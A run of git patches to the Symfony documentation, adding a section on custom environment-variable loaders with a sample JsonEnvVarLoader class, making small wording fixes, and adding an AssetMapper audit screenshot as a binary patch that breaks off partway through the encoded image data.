Subject: [PATCH 5262/7107] [Configuration] Mention `EnvVarLoaderInterface`

---
 configuration.rst | 69 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 69 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 9703dc24215..33d3c64b860 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -993,6 +993,75 @@ environment variables, with their values, referenced in Symfony's container conf
     # run this command to show all the details for a specific env var:
     $ php bin/console debug:container --env-var=FOO
 
+Create Your Own Logic To Load Env Vars
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can implement your own logic to load environment variables in your
+application if the default behavior doesn't exactly fit your needs. This
+can be done by implementing the
+:class:`Symfony\\Component\\DependencyInjection\\EnvVarLoaderInterface`.
+
+.. note::
+
+    When using autoconfiguration, implementing the interface is the only
+    required step. Otherwise, you have to manually add the
+    ``container.env_var_loader`` tag to your class. You can learn more about
+    it in :doc:`the dedicated page </service_container/tags>`.
+
+Let's say you have a JSON file named ``env.json`` containing your environment
+variables:
+
+.. code-block:: json
+
+    {
+        "vars": {
+            "APP_ENV": "prod",
+            "APP_DEBUG": false
+        }
+    }
+
+We can create a new class named ``JsonEnvVarLoader`` to populate our environment
+variables from the file::
+
+    namespace App\DependencyInjection;
+
+    use Symfony\Component\DependencyInjection\EnvVarLoaderInterface;
+
+    class JsonEnvVarLoader implements EnvVarLoaderInterface
+    {
+        private const ENV_VARS_FILE = 'env.json';
+
+        public function loadEnvVars(): array
+        {
+            $fileName = __DIR__.\DIRECTORY_SEPARATOR.self::ENV_VARS_FILE;
+            if (!is_file($fileName)) {
+                // throw an error or just ignore this loader, depending on your needs
+            }
+
+            $content = json_decode(file_get_contents($fileName), true);
+
+            return $content['vars'];
+        }
+    }
+
+That's it! Now the application will look at a ``env.json`` file in the
+current directory to populate environment variables, additionally to the
+already existing ``.env`` files.
+
+.. tip::
+
+    If you want an env var to have a value on a certain environment but to fallback
+    on loaders on another environment, assign an empty value to the env var for
+    the environment you want to use loaders:
+
+    .. code-block:: bash
+
+        # .env (or .env.local)
+        APP_ENV=prod
+
+        # .env.prod (or .env.local.prod) - this will fallback on the loaders you defined
+        APP_ENV=
+
 .. _configuration-accessing-parameters:
 
 Accessing Configuration Parameters

From 0653ba0e5e8aa5eef824c4943e31c3fd2d1b6b4e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Oct 2023 18:00:05 +0200
Subject: [PATCH 5263/7107] Minor reword

---
 form/unit_testing.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index ddaf5816fcf..e191676215c 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -240,11 +240,11 @@ guessers using the :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestC
 and :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeGuessers`
 methods.
 
-If you want to test the themes of your forms, you may want to make your test extends the
-:class:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase` class. This saves a lot of
-boilerplate and code duplication by implementing the
+When testing the themes of your forms, consider making your test extend the
+:class:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase` class. This saves a lot
+of boilerplate and code duplication by implementing the
 :class:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase` methods for you.
-All that's left to do is to implement the
+All you need to do is to implement the
 :method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getTemplatePaths`, the
 :method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getTwigExtensions` and
 the :method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getThemes` methods.

From afcdba27a2fd9c6cf95249aed0725cf64f2577c2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 5 Oct 2023 08:14:31 +0200
Subject: [PATCH 5264/7107] Fix list usage

It reads more natural now
---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 353f2024491..a65bafcde3f 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -929,8 +929,8 @@ HTTP Compression
 
 The HTTP header ``Accept-Encoding: gzip`` is added automatically if:
 
-* When using cURL client: cURL was compiled with ZLib support (see ``php --ri curl``)
-* When using the native HTTP client: `Zlib PHP extension`_ is installed
+* using cURL client: cURL was compiled with ZLib support (see ``php --ri curl``)
+* using the native HTTP client: `Zlib PHP extension`_ is installed
 
 If the server does respond with a gzipped response, it's decoded transparently.
 To disable HTTP compression, send an ``Accept-Encoding: identity`` HTTP header.

From ca3a09b004bd55400f7ff97618ee7da450c2b349 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Oct 2023 08:55:17 +0200
Subject: [PATCH 5265/7107] Tweaks

---
 configuration.rst | 33 ++++++++++++++++-----------------
 1 file changed, 16 insertions(+), 17 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 33d3c64b860..35417a8dfee 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -993,20 +993,19 @@ environment variables, with their values, referenced in Symfony's container conf
     # run this command to show all the details for a specific env var:
     $ php bin/console debug:container --env-var=FOO
 
-Create Your Own Logic To Load Env Vars
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Creating Your Own Logic To Load Env Vars
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can implement your own logic to load environment variables in your
-application if the default behavior doesn't exactly fit your needs. This
-can be done by implementing the
-:class:`Symfony\\Component\\DependencyInjection\\EnvVarLoaderInterface`.
+You can implement your own logic to load environment variables if the default
+Symfony behavior doesn't fit your needs. To do so, create a service whose class
+implements :class:`Symfony\\Component\\DependencyInjection\\EnvVarLoaderInterface`.
 
 .. note::
 
-    When using autoconfiguration, implementing the interface is the only
-    required step. Otherwise, you have to manually add the
-    ``container.env_var_loader`` tag to your class. You can learn more about
-    it in :doc:`the dedicated page </service_container/tags>`.
+    If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
+    the autoconfiguration feature will enable and tag thise service automatically.
+    Otherwise, you need to register and :doc:`tag your service </service_container/tags>`
+    with the ``container.env_var_loader`` tag.
 
 Let's say you have a JSON file named ``env.json`` containing your environment
 variables:
@@ -1020,14 +1019,14 @@ variables:
         }
     }
 
-We can create a new class named ``JsonEnvVarLoader`` to populate our environment
-variables from the file::
+You can define a class like the following ``JsonEnvVarLoader`` to populate the
+environment variables from the file::
 
     namespace App\DependencyInjection;
 
     use Symfony\Component\DependencyInjection\EnvVarLoaderInterface;
 
-    class JsonEnvVarLoader implements EnvVarLoaderInterface
+    final class JsonEnvVarLoader implements EnvVarLoaderInterface
     {
         private const ENV_VARS_FILE = 'env.json';
 
@@ -1035,7 +1034,7 @@ variables from the file::
         {
             $fileName = __DIR__.\DIRECTORY_SEPARATOR.self::ENV_VARS_FILE;
             if (!is_file($fileName)) {
-                // throw an error or just ignore this loader, depending on your needs
+                // throw an exception or just ignore this loader, depending on your needs
             }
 
             $content = json_decode(file_get_contents($fileName), true);
@@ -1044,9 +1043,9 @@ variables from the file::
         }
     }
 
-That's it! Now the application will look at a ``env.json`` file in the
-current directory to populate environment variables, additionally to the
-already existing ``.env`` files.
+That's it! Now the application will look for a ``env.json`` file in the
+current directory to populate environment variables (in addition to the
+already existing ``.env`` files).
 
 .. tip::
 

From 2f15ced5fc6e36801dd8769dc4f2ccd2fa448932 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 5 Oct 2023 10:14:08 +0200
Subject: [PATCH 5266/7107] [AssetMapper] Add audit command

---
 .../assetmapper/01-importmap-audit.png        | Bin 0 -> 132950 bytes
 frontend/asset_mapper.rst                     |  32 ++++++++++++++++++
 2 files changed, 32 insertions(+)
 create mode 100644 _images/components/assetmapper/01-importmap-audit.png

diff --git a/_images/components/assetmapper/01-importmap-audit.png b/_images/components/assetmapper/01-importmap-audit.png
new file mode 100644
index 0000000000000000000000000000000000000000..d98b86bceb2f2f3f02f5252a51a80884e9e19d1f
GIT binary patch
literal 132950
zcmcG#bx<bHvNnhe?(RA`gS*4vFu1$ByYs@}?lQOx?(Qxx?hNkk?zYVDoU`}dZ#QBi
zHomX^=#K2J&aSSi%*uS~=`eX&aRgXgSP&2p1W5@IMGz238xRmsO=!r^E3cwB^`ECN
zPTwV!p+Ac^v~lRCjN>e-?yO{I>g;CVXaZtpYiDCZ=Vat)Vq)uLZs&Xf-o^h}iRy19
zVMh}KXA3)9Vr2^(6A&8%M|xsL7GgUiXL@30MrIabCN^$HMs7APCshUo5D;PzNf9As
z_l(muGk0_qJjhM6M)GvR@2JH7vGU-#ZqzfsB@-xAk!$o{z7$a9<oFe<3w^<(BGsW*
zEO?kAxs^xzPWd~&^~F~JRl?ucEFs8xv!%-FqdWbV(|!hv(+Ik#$QRLx$hVgd(S^4K
zdnJ4n?M7S*wyFSNlxSw<D>{&MCHhH>jAD}Or_8~Q0~-l}Ju7MTPXSMtlCVlpNGj2+
zZuCGKm_A$`llIv;gy%e2IfvLrm^h4;O-p5uM_Yc#58%1O++2UG$^MseZD;(NhO&G&
z@~`!xnORU2D5Fryf-!tmq|O_Z#TB&2x4gY$D36^g<nRx_f({{kE~m6x3IBMb{HsiV
z6|RX9#UuT%k|&;CSd1np^52SfJ;{IFC#{A1Uu5wA-7+_uP~mTPvfru1AUWn+o7=GY
z$xMyW3VrJ{W7va?!Ay|`@J85u*n{XQk+}EC`{G<;2wu`o4w3(=kxc#1&Chx<nm;=G
z^OTn^RW+u;zyxy;V%^vam<RWnEEl!Xa6T3M-?~!s!v8+}N(C%7u(P0#{&x*#lYhO4
zabF=~IGdF8r#FmYudo9n4GtJc_}5n}j_;ywK}_sX|IemXe~e)#r@Zz5Rc8u6n)vTF
zr;5{20BA66LjPMi^qoa_0sC(kLPI0i|6A{ixcdJuvfuwH`C$#=bZw2`t6PPrrUGS9
zv3i*B;}sIqn>p2w#`XG){`(H$tI41fWG%b&&-NDk5gv)A|Bm>2c~10>?Vt}>&+NK|
z&InZxnjJ<`!>X+INcp|NxX%IQ{KB=f;C1%>_xb`l+TVGHVdMyxQd!<N+>9-YC}6A{
zRY7PHM4%-7O*SJfvH|O>4ZwRmq~>mu^)y_v{#j1r94YuLx(<dTpT939qHKHM*ZJX%
zIP$vYAEL7SS(`+~&)K;$y<|*VShv^$;KU5H6YH<gn&N)UFPC$>^|r>xZCgBPjV0#V
z`a)l{>PK>qIwKFY>?QKcR<^InDkaY$rLlO^JiX7Q>vyIP;^cmfd){I8U?|qRpb?#Z
zL_2M?+*VW(E{SBN!AbIjx;N3a@ZaHa28bE~lao_j_j$J!l|U-+c-Qc9eCOlbE0>Mz
z)xx=b63Ib%*p>TJ7Ib_2b+dCF8x0D%_Tk`lSYZk@vj?XH7oaleU5q|Ir|~S0Gpb~s
z)^?9D0HF+=k;{Rq)7KJxgw~I1->JRJoL4(N*yx9f-r~X0gey=Z9&4+}WyikPjZD{O
z3YMHLEL5@?28r^8o{N;!lXWQvm>4|^<!LZu05N_n2bAVF$&uvp-$~it+}E#yV+YCU
zuDiZ?Z0y%K<hAUnDNZl~=kA)ka;ZWxfQ)s1*NI%EJzRO>VPypg-v+(l@j=1c)wv3c
zDWW9Cau6}gUgP=e3i4hHzS3{uqqd6~eosKOXWZx?C?;Z}t%sW^wCU|%CUNCQd7*L;
zW9t%|%3KOU3o})A?cn=^-mkY7EFmLY|KLLX)0xkEN2(EyEnK5T8oiRjGAHZ}tId#K
z&_ix>=E)>fk(CMu0BZWUZ1HRPoHKo=4>?X3bKDY1ltr&&Tv6h)`vuT_r^PBa`}Y#$
zUjcn5Bx}qJc?j|q*5}P9oW8e4V_Y@3TQv*0*e5wcL+<d<9`LpxwwXSJRplE2e=_?n
zuQTC_VGbSyf=LXLu5>pv+{g4ictD7$bJgnrG>tmT0dO#C$SG;?q6Y!TcdA?Yu_N;F
zzI}^a0o4LGOPa!))?>CSaKWcXY<7c_H{6>Wfsr{~SUfv+AbybNDk<Ad`*MQm%ur|t
z?LXn>Id)zkU08UyBp2&SP${&%aP;o6BVdv2*QA&}=V%X+AMsWi9Qr^cD&aixW^6+-
zDf>v<ad>`S`#)YGJbsV_#9tQ&?WfSXi$5O5)!i@hW_j8#ps>V}0HfoP+(kk!h^8^f
z<`y=Q1Wmmhz+T!C1&WfxS4-S|!e{W8%HSQ-R!A`;;-6L%-B2VA=S(Ct67AR2{2F)Q
z$hFu+3szv1#j7b#q=@*>AOHfrsJbv1zjZu*LYJxf^GWx?4ceXPr;tjb%I=CEP|Av8
zTT^@Kho@=3<j6MF=jbJdkrYN#xz1~PQWd}jXAlj~D!0@fZIS57iv)`pK;<4f-5Yie
ziml|i8o@xE(C>+G{g;5MJKphNNL7gDY5*|L$0w6N5qOJTX2knhaD4^+RuU2meSLN0
znhPJelZmuy#tBD3wpgXWq~m4T<$}1!jqIu|%~CM6hh+1WO|4tHgKQV?xw)s?oyGPS
zzA>H#gp}FLEu~uC83-zi0S5)Ob63?uN0^0#vV7ZLR*NqD_#M2ri!SewmWdV7J1|%V
zVjYpJ8s%lj%h7Zb0_;2!Eyr6y1@!9iHKNKk&d6w1kR}<@%Db7Np@%}$uX$05VDE$l
z`rI5u>4sS%UPwh=U)FkueKN1E6rk!$1Ry38okhnAs8d_YC_CpbdJkz#48F}musKK6
z2#~^4Y>Yu5a|Q7o#Pm*I_{^~uuSA0h#<TBqeI4~H&EDC2PTDM4Af>yb*(8je_P0L`
zYw}_jjn^L7m&v@G?6@wl@Z*;w6l^=$&|eL9DV{$ja%RW{&k?j5YBr}uw2|*hB=n-U
z?ZzmHV1@;8!j9Gs^B4b>Ol1~=giHN7rMQnrBL2>(A>TuTDN9hMo^K%Nf)2$&`wf8Z
z9eRGo5rhnw59lsi56tNEm#K{fknYGsmMX*k;DM<}gkB{XVE4u_jD=)T>@Kc-3{qGc
z3f>*cU{yM(O_V6M28U4(q<meKJO0ue*&q=HYb6K7r27kq<S3(8A8X(M*(MHvfw%n4
zexQX9HxWM?0;`d<Kye=-pius_Ej83H_Wn{8Bs~fzE*Q=0WgF-ubU1H}g4^8Eo#+XZ
zvJFp_;1QEsT7$7|@4k?bYOft)dI#ve$ui9l;6emcoCh{XYh5~8a0uFx9A9e&p6K?)
z{*mj&NU=XXG#}IB06FJV%a2Is`+<X%qf?BlR%*wCd(e2Oa6$cOX}9?p7nj=ROU&z4
zDM+b?Fqib=5@>r8X*c<lBlEVwG)0Gj#qb_3s#eZ}S~{|}KEnD2YdDi3pRZ_E&fSiW
z1%9`fIRlgV6LH6Wmu(env$C-AyUa?>_!H0+$d&DRsNbH6>Ec28>6+!OFFjemTC%2w
z_?LiRy$JL?R;@;u6Y(O`jeO}QVfh}9sjs`}F=yclU8Q_G(M;tTLj0yl?v3}(V5>|R
z7>{Ukm72}c$=3yca566%3&{w44Y1)@Rp@f{YA#-jj!&xeb9|esKh=5Q0uASBUtI%r
z2olc{?}m138nKtW3Y2B)o^ODCy?~_;^W01S-sHn|PX;fhriL&Evtm!Sjxqms(nn9!
z+@P^eS6BIO&y$>5Ny2<>^^H5*Z>HyL3*a@Vt^~>!K(iWFwwV-IJv+IzI1h)sK}@wz
z@MyLGMwa}9xzPxK;CFj&uDGa4Arr~M_mkvt&GYV?f7G*=m{5CHU&OMd>&-JN+SIe+
zS+CIeYP7xLOz=THYk%X)Px!~T8PzWswBhn#i;dIvICxpJ+u4T=u~1of#Sw!!E4pSr
z73C;YCL9u<JIC{vY4L6<)39#CkNaD7LapHn2zB>UR<PsKK`j!MTnPC#XT}*rJj0%z
zphE>u5MCCe2KuP!YHM0-khyOtA$>Q&1{VW(ho}2Wzay+6Y_Ti{lT_;oDzs>M38ye2
zLD+cn9qiAcPg~r<3Ci5TX-3v)9YB*aJA-KuKKk(H!E-^1mBb>xiZ`xV@RSzgDw!27
z$&M(;SCPox+FzbU1-}FvJ)!VzkNEu5f0L9LLFk9uO#a<jxxe6Q?fPD`<j|;%RAEu{
z8Al-fl<5R3#y-wdD&sT9X+l|%eGSJru{4TaU~Jzo{Zh(B#VC5wdvuH4Z&T{Go?iDZ
zJ63|+1T6w5uXy$SEu3Jh)|RPJJVr!ba`W{U1gD)h?At5Lxutv)f!3}B9Rly@gXs7a
zN6pTwhcgUyOtUnez3c*5rZm>TOX69?TN2jafNXkgW&)v`r3>CK6lW?)$bQcPTcK$>
zGrf9DQme*$@=JLHY+nPq|MX#GqO-r7C+rsxRM#EjJWQ1n-lV5`asHQZ+~Dbh8HL<o
z#C9U>tIDE9y0cMlCyt5K*Qwqr%PhHWf%Z3hI;o_K=<bf$>K98`%alLcV^1of_wJAg
ze9Y0oXV<nOYpn@WhU0D6EN<kb5VvAC;S4!J0259PhtnU^UJie>F)K!thiDjNMCYh<
z5CNIXA<#D<?(0Tg;Y`q-o;@wQ=Fs7$(}mS%-(}JU!W$DZ4dDZ;dLnNmr;*+J%JWwF
z3=v7bzfLa~nP;)mjxe(oX^a0n%$c1Rt@Bfd7cl;wLVsrvIS*dKB!QabqB5`|68`+E
z6uV<x*8Ul^E``fr+Ay1M?*74*V>OTZ(*rP^iC<uP614hZF$az8PqjDQct`4dH^x;j
zUr)Z7>2c+B4M35JT&q62CA_`+(bsyJK&4{A{oS@manDs*2^|CL^3@0(IAN}1`=yh+
z0a;;Qcc29>cPjB2wE_Rs8{IgdUCa37`k%zB70KB*d%KPzQ-7{CKTsNn)8wLPgsXh{
z65VvLL1ZJiPGO-BExsKSQ1J%M)MSK?fDRIF*b-27ck1uDY@*)!fH6i_gFKmhKXU9;
zwv@s}KyjEmyF04{2z}YYZK5~V-bO3u>OundCP2YO@vp_m`o6Rh(iiNp(AMSW=H)8b
zG$gv{XiA7#{s!sP9%5v^q5$nM=K4w(SwS}WF?><QIz{Ctu@3O*!f4f5jhnox$vfMX
zBB+OD#!LiB+N%`wUp!AO{WK9ZXA_!|8i_zq&nQp~OS-`nAuu8a@Ol_X2~FO3Ti{*`
z1g)bc*$w*=#wq6t*~O=Eup9P?rhn5+VJ|)^>B(ATkr4gLnOq!0JpL`CIqpk#x2GE*
z^-9)KGe<ayM&0d|!}{(=@BVMGL!E~6Odf)I%clIaulUZeWOo#({$6%+R)Ip>ajBLQ
zMtFq9Sg-I>m5<<73=rG<qC(??1Q9(zKASi<kZ?lJ3NXpZ!$Xse=(Ev(t(f=d9YiCZ
zkO$r}OE&v`oDOs_plrZAGx>%{JN8t&Zt=3!Um2<yCpkasVDKjC2kxZaZhQ;{cjjOx
z8$FRQ8u^2$t+GTcS4<8sQl4N*FkWU_q4MGPxBKU*LfyLgiqMFTeVY|QWqw*3o!1O-
z67B}-T(M0v7hh-EWiRqx;M#qGY>)2tTbSm!_ws(8lo;cF`bP1mJoaqyfUj{Txj5vr
zL-0G@aVfILit@*bkX@<4Jgc~IHiYO}U4D6EH2xix=9#p{1R}OQ`d>^TdC??mO@#;)
z!pe~)XMtRFkdjlvMWE<59$!36UcJ)9pvd_UCG%=4OXWXDBgpt)79h3tLhXpN@(?Nh
z`veX8{x+bFf-oho&|uhvfQGdg3JN4#iRc#Q35AI0)Srp^B3F0`x!KB=gyJ4d8%$S}
zFJ(ndkYGg32Z6-kVh3mg7UH)tJ;HW!T<ptZ*+SY~1~z8Ur9W}SY;GLcgHaN7zgK2P
zhu-o>gsYG3l$Q~aWdDzSN<=8@ya=#6mWK&)V_~Xhmm#&w<I5MDE3uaNflXcbm0f~M
zL5&z@MxqZ4xL)b}N)lW(d8jk6pScYl9)JBD3ZH&jX|eqGn6skJe%LC1Xjj)@t~-#*
z^t$nStF%0=4$2yv**5HkXY5vG%dlE8s8mIUE!g8cou|!=D&|?pT#pEhDO!Td`PNSR
zvu5;;_Dq#CX$K$N%n_O1Ca>%PR+BHdZG~IMdpMjHknMIr-nqYC59(g1phM5-o?cx0
z$`@|D)@N?b)kCg#OIX-JZ~>RC9c(jCQtWoVquIbw1V?;9yXGmfBI7wn?eYQJYm@88
zpJ)*{B$kP6+!%;yA@hYAwW~MT;564b>J5j21{+Ew%Ml%i<EX5j4WluC{!}WWJf9K}
z>>1acR>67xb5oBWHbh@aO0F2KcrUU*6mO?ex8saQID;FD%S4&%l++tXcu-K{Di${-
z(~S>VuQ<Jp8IuQfgyNS#D{WmAn$}6%ksV*6DY3pR=!MB;3Jk0oZEOP3)Z+4*dqz9B
zT9a_0joZv=Cnj^e1{mxw19@8Kk0Uemf)%<5T%4g{pAdcQ+M`T(vIadXh-j35{REDx
zh1{GW`%v<3ywdfbKO-pp@rIaA5gynaHpjq@$H-UiMr-gg8cx#?OiGd8Sl5e!>^AiX
zAyl#S4LP3{uJ)8>DF5@6`+c6;90eKPEIs94>lb*TvPe-ffRyBx<=e_C0*jJj&U{PX
zd<)@mYm4c6d4a!NfyQI61MGg#TbQU8K;%bScMo=8cv7dx&2>-nNkmFG5iUo14AwRw
zaLlC-`Ed??&Pl$8p@3DBxATi6Psmm_-{h7+0<E`n@~A|RqZjPW)_Djm{n~V|8+xIr
zg?y9fxn1re%|#gFuRIjjQ-W{Op<*<V_AW3&QQUP?U54iu#=9Jij-nEM7>`qo=ykoi
z1CPcKgyhS);%$@DW%X}e*(7qM%c6zez$6HBo`>Ist2!t%_T*xC;)dr}D39BM@IP?n
z+&$QZogRLAC#VjjF4IHD&!Upx>X|#qs8Hb&u!f2&wt_%v&CipjHc{7y)MuiiDAW{4
zD0GrNkQhe4;S#;xU|G7X`<qE0(|v&cV-0Z#61_;+Tpvd6^}G=VLM_=~{{Ve?+q<3K
zv-=7pC1&;%?1b^HSXSQ!#GR+?4#yz=1r@g1#XCIDIcLnPh+E{dknMfBCwNB%5@hwi
zn804wgZ!g>35|Xk{pZo3vv-FlO(m6YG5RgJ7@G&Gw|(+IY3(^)OSE(freRM@O>=TQ
zSVb=StGDOoI3iJgn303K49h=C_Cl(}zy7lZ{_9W+KJWsU_!oZpPeFpAUq=3??!OL8
zp#P`k%rs&pMP5|JAIKo`_4f7-K?<YTTK@otrvHWu{{>No)BMFHZ}Rc;gF6aZI0ye<
zus}USg;HzxvT}1!P~s`bA)a(a9HSd-wo|(C|6rW|K$Jfe2L3+mn`ksw-NcFo{CACC
z%>TwhZ;A(Y<xo(BI=?V&<#J*t!GnSfpu9KW<>s~ZVyFN6#s5J?|7u<Ye1ejrzJ`C*
zu>_lp{2K}#%g0O*!1$l&qH~u;I5+5jdi(FW|9{}cq;1{*Q|9^KE$eSYusecrAi@jH
z4V;K(qLPx<Vxh+Hv50T45xJ366wiMD+bZJ=GQ>7toaiRs#o>3BJ>#<09wtrMLNs+&
zQ|L}@Cj!Me3z9s;;Z7`@F@t8`M<@{>#qOio>|QP>;{uj}!HfI#s1oycAbYUe@H2M9
znW_S1FrnWgg0RBMDAqW|`Dj~0qB|i^N>%r|6_VPhLXsPsGCooI*{JN$yxvrgf`6Xz
zYh=g4*OFp1ld#qPdz=JDpEs`GTF~QF?d8KS`Kz6wp@amd0%+61Qijz|f0`a$i~<MV
z>q_}62p+s-fRuT;`3%n=>GH*?z3#C_gWqG6%1iK`Y78SyC#_XEX8IT}ZiuQ+)ql?4
zB;T_i$SWVUY@8(ytuN_MQ$VUM;MMpnsgs#zg^{^}Ax=2<$0ek|bv?B~|9}C;WjGQ@
z)?gWQB6+!U{@(1pvKJB09=r<uoq-j0OZCc8$$*>a6f%A2?-%UD^xjo$=wr}9x3^03
z<8%X6#Ye}$`AY1mHS?-V?}2#m{W<=)Afsnnfp3a9=Sw7{cym%|;NV(_k%P$nGJ^y!
z0N>137dX6w6_*AqoQe4%+LaZ+^ie*HIAcwFd|es5w`0`ivjjI#Mp<|PC%l;Jf;}&x
zH#b~U^ExW+vwl|Y^O=hH#LIpBIu*g4p!@j3P+tzKhXuvS`I6%p;rr+r(cs3sV#%Ws
z-}}+)r;qgoVcild!8*vOZ^wu`(!mA6%{G4c5og-RwcTYUE*(1a6_pU~Ht_S?x+&hS
ze9T!_j(l<o<*d5ibkU+2H2ngyGN+4@q)7~6cZ8yGxMXW8UUWD<ZGtN#PfBjxB+k*4
zYmjdPKB+xZpRqa5`R)%kqYKA2gv81_Aq}^3&!x_i8Ru-xOF*eTH11Cu3pe&W+X*Rp
zBU3B}P8^-7?G+Y?)Bw!Y)fc>A=ZcVP@{G+*ZB&dj-iWXhhJ)4Q0xOecigvV|(Yp^E
z0iApArSx5;$CtkI;++dfC@8GN(se?+N#4N6Q>=^ruc>!kuF&@m!TAYTG^}SKc8$7S
zNH=ed7cXmet>5j0=!wY{z{zc?^NhrMmcS*VwSSU{f(!RTKuZbL2z{@kVpPtETFx@d
zX<i8aQ@G-r+MExZe5p1o&M_pYvNnkg%rxT8e?dpcO6P>qgDTqTj+}n1eo1I<aOD}~
zaG>dB#gctK+PHMSS*V_FLkjlgLXVOv*xAmFT6F%3gV<ORh$PQ_A9WGkxk2szJgdi4
z5=O+z5p4u4RCiAr>fA5QQSMsel;45B?P=K3Ha>!wD_T+|G+sYD;#>*+g9bX!3+jZ<
z&V#iQ91jJzSHOLNWYB_!GR?O;51@F-4dSPUIJXHgd>#_y93br3NZ=o=);0Z-nGtk;
zj^xQB_<Z-K&glU*=+pFt5_SBNL89?A`Yal03??*cA#ZCa>9L^7&a`c&yP}+pkA{WR
z^j`Sj;XZFYl=`s<ruwbTz`e@}(0ry9`EGLd0zrBU@+;bKy0`E0n3s_5rqs~V5H@IM
z*6^fr0fFtb;ztA(pGTtTbBW$m+Y_-h^&P&L>>K*{$nUSmQ;^mRT)oADd%JDVT(mbW
z9;r2DID^rW17>yay){kZxvgwy(}hZpPLGs}%AUmhSx-2xKeisddL<%{li)v$A}-tQ
zOzmc88Wh#AgfZ><>Zmoi67j4Uj|Z+o-Sg;5(S2P%_?v@dh@5*rHyI5Ucau^zh9mQx
z#C8Bxu0oo>zNY?}fQZFYe>R0`Z?A<7{-}mrd$Ti~Z3?(DI4Ck$tb?>ut=}u}LU>_E
z3P(@2Xb7CNqY__$9Pt+xAFxJDfup4vn!ZCYKG+{HY$Y)3q;LT0CiO{=4o_%^EwvPv
zWboFiDAw80o)v4a&CA|Tu#GfokeghLK-Rvv1>kdgvhRE(_$K$&5o?*5zBbyWrZl|q
zyl|1BNF&r*0Re`cZ+1s;yN~7NXQ@>HI&rL&ID$HDGG_-Un2jZ+`$?ySOgOEPr6K7c
zelk%S(`09tK#(RtIOl^7+3>Fqo6hGDXBVeL3O)Rk+Z8~9s|W?FJ@NuQ%U-yK$PCi(
z;xZ)l+cO~Ek%z*=|JIdN;>K>$l)!10ZHfI!#UoFZ>xvP#Ktx{2<0`$vaXcdl-{}_d
z7yF}zg;rDiV~R5dRHkm^`TNX!TjX21-7EE)&K>IO7NKO@jat+0#`}6+6}#fS>6_8}
znA%>Iu5KQZr;6%2;{kyw2_FvdtD<Vm1uX*j>cI50@Cb*m>R?q^;;AGP@GM0SvLVj0
zKzksECA7}WqGa)rPXotFCsMRf;@8Xw@nDt{IY||-&XdM6k8x6qQI&@yt(*L@m`7U%
zyH-c@+id7Vw~EGIdEO73xP5qP)RucIj{+YV>XR)h&wvE?=Mae$yZa5UKbR*mY3=D%
zqoqhZ5*^{4+xt0a9W}p|EvNM;Y?>2Q_GzMHj(wtzzsZy)q1kbWPvdD1RJn5CwA^Y}
zI;}xyuxx2q;2%;)dv;*+y^%FbVm+DPxhQxQ8)5R&WwjFHw6nb=&yt_cavNTr(!v>u
z`e<RIFzLh+Y2v}AFyLjNiHMA;VGhwYj7Y&yc9`EyY-=?{!9Sn*^>3_4AGLcg^b)sT
zNBve|BXVHI9%ws8yPhcTi+4A}qZyGFUALL<w05ohjPO?KrT~~Iakmk*@1wpmd5V$_
zGbaPn9g)g5s~Tb(ovv8G_ZwkSk0ZG4+$uUFqyjC(#wXXA-R{Lf)W!NP?;7h)_)5#z
z>kHfAB>_(f^heI3^2C&m%z}f}S8>QEsTGENVR*&sqbEncx{B1Q$s~T=;%Rq`|8M~y
zOP;PkJ^D+%dyMb1*~q~Q;;SM!Ih&<^rL7syb)jeg<;GJLWFph9Qq-Ar+4Yi4?B-%o
zv*!2i$knb17z)llBrLH<hRVurPM;2Nj2z(eNcB{sguc}<n$|Dz`lYqz?&B62Miyr6
zwSY<Auv>U_B~Or;^p78s^3QV*(c0Z7au=-j=X*<g0G<lk4p0k_U4%u*u8PNen=+N}
z*u#6&6=^u^i1%DHfa2qiIyP?#^R9DaR!fGRq9QsQgCkEhUdcgErLXg|($4->L*cyp
zZ;DL_aj?N7%->kOWM_>RLTL=4@xN&)4TN)*Im5ivS0<iviC5}9>9l%&84cC>qvtSI
zQo<GOHM0L9>EVNeQ%_I6BB1F}!K#-8(7nV8*(9muqW6lYyH!)MS-EbJo%dE=rpHm3
zCl(TJG`WjVY#NS*MO56$A8W*C(aLgUl1O0at6MgH?YdT^4)_A7*1EgXQSm${aoZSl
zHpsfYbBoOZm1fxoiuQY()Z8L5N?o?$kqv5J`e2A`*-1)v{j6s-YgRjiRoZ1H12PCZ
zOPRU9w0{3YS9i8XwL%3J3B?fud(`*Dl~1Z6F=$i7Ry!-9kz$5cr(8rrTm>IX%$w)a
zqAcl(a-1cbGRl4<b|{pbFwLEH!kBa*K*-jT5eRB~6OYvEguoUsY+62&Cz?0n3l%VI
z&s0i=GE7`(JDr7>K*ek=));ZR8uN*<54EhO)%zeck}ZfdRbtd-DbA?$DDhd6nvCLF
